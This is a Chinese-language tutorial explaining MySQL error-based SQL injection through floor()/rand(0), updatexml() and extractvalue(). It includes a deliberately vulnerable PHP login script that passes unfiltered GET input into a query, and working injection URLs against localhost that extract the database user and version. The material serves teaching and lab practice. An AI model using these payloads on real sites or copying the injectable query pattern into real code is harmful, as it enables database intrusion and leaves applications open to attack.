0x00 背景
SQL注入長期位於OWASP TOP10 榜首,對Web 安全有着很大的影響,黑客們往往在注入過程中根據錯誤回顯進行判斷,但是現在非常多的Web程序沒有正常的錯誤回顯,這樣就需要我們利用報錯注入的方式來進行SQL注入了。這篇文章會講解一下報錯注入的產生原理和利用案例。
0x01 十種報錯注入
這十種方式在這里不多講了,詳情移步https://www.cnblogs.com/wocalieshenmegui/p/5917967.html。平時我們最常用到的三種報錯注入方式分別是:floor()、updatexml()、extractvalue()。
0x02 報錯注入的原理
為了弄清報錯注入的原理,首先先創建了一個名為sqli的數據庫,然后建表插入數據:
mysql> create database sqli; mysql> create table user ( id int(11) not null auto_increment primary key, name varchar(20) not null, pass varchar(32) not null ); mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));
我們先看一個基於floor()的報錯SQL語句:
select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;
如果是第一次接觸報錯注入的話,一般會有這么幾個問題。
Q1.floor()函數是什么?
A1.floor函數的作用是返回小於等於該值的最大整數,也可以理解為向下取整,只保留整數部分。
Q2.rand(0)是什么意思?
A2.rand()函數可以用來生成0或1,但是rand(0)和rand()還是有本質區別的,rand(0)相當於給rand()函數傳遞了一個參數,然后rand()函數會根據0這個參數進行隨機數成成。rand()生成的數字是完全隨機的,而rand(0)是有規律的生成,我們可以在數據庫中嘗試一下。首先測試rand()
我們再測試一下rand(0)的效果
很顯然rand(0)是偽隨機的,有規律可循,這也是我們采用rand(0)進行報錯注入的原因,rand(0)是穩定的,這樣每次注入都會報錯,而rand()則需要碰運氣了,我們測試結果如下
Q3.為什么會出現報錯?
A3.我們看一下報錯的內容:Duplicate entry '15.5.53' for key 'group_key'。意思是說group_key條目重復。我們使用group by進行分組查詢的時候,數據庫會生成一張虛擬表
在這張虛擬表中,group by后面的字段作為主鍵,所以這張表中主鍵是name,這樣我們就基本弄清報錯的原因了,其原因主要是因為虛擬表的主鍵重復。按照MySQL的官方說法,group by要進行兩次運算,第一次是拿group by后面的字段值到虛擬表中去對比前,首先獲取group by后面的值;第二次是假設group by后面的字段的值在虛擬表中不存在,那就需要把它插入到虛擬表中,這里在插入時會進行第二次運算,由於rand函數存在一定的隨機性,所以第二次運算的結果可能與第一次運算的結果不一致,但是這個運算的結果可能在虛擬表中已經存在了,那么這時的插入必然導致主鍵的重復,進而引發錯誤。
0x03 案例
//以下案例代碼是抄的
數據庫可以繼續使用之前的數據庫,我們在Web根目錄下建立sqli.php
1 <?php 2 $conn = mysql_connect("localhost", "root", "123456"); // 連接數據庫,賬號root,密碼root 3 if (!$conn) { 4 die("Connection failed: " . mysql_error()); 5 } 6 7 mysql_select_db("sqli", $conn); 8 9 // verify login info 10 if (isset($_GET['name']) && isset($_GET['pass'])) { 11 $name = $_GET['name']; 12 $pass = md5($_GET['pass']); 13 14 $query = "select * from user where name='$name' and pass='$pass'"; 15 16 if ($result = mysql_query($query, $conn)) { 17 $row = mysql_fetch_array($result, MYSQL_ASSOC); 18 19 if ($row) { 20 echo "<script>alert('login successful!');</script>"; 21 } 22 } else { 23 die("Operation error: " . mysql_error()); 24 } 25 } 26 27 mysql_close(); 28 ?> 29 30 <!DOCTYPE html> 31 <html> 32 <head> 33 <title>Login</title> 34 </head> 35 <body> 36 <center> 37 <form method="get" action=""> 38 <label>Username:</label><input type="text" name="name" value=""/><br/> 39 <label>Password:</label><input type="password" name="pass" value=""/><br/> 40 <input type="submit" value="login"/> 41 </form> 42 </center> 43 </body> 44 </html>
在代碼的11-14行是登陸驗證模塊,可以看到程序以GET形式獲取了name和pass參數,沒有經過任何過濾直接帶入了查詢語句,這里明顯的存在SQL注入漏洞,我們用floor()報錯注入進行嘗試。
http://localhost/sqli.php?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123
我們再分別用updatexml()和extractvalue()分別進行嘗試(原理各不相同,但是思路均是認為構造數據庫的錯誤)
http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1 http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1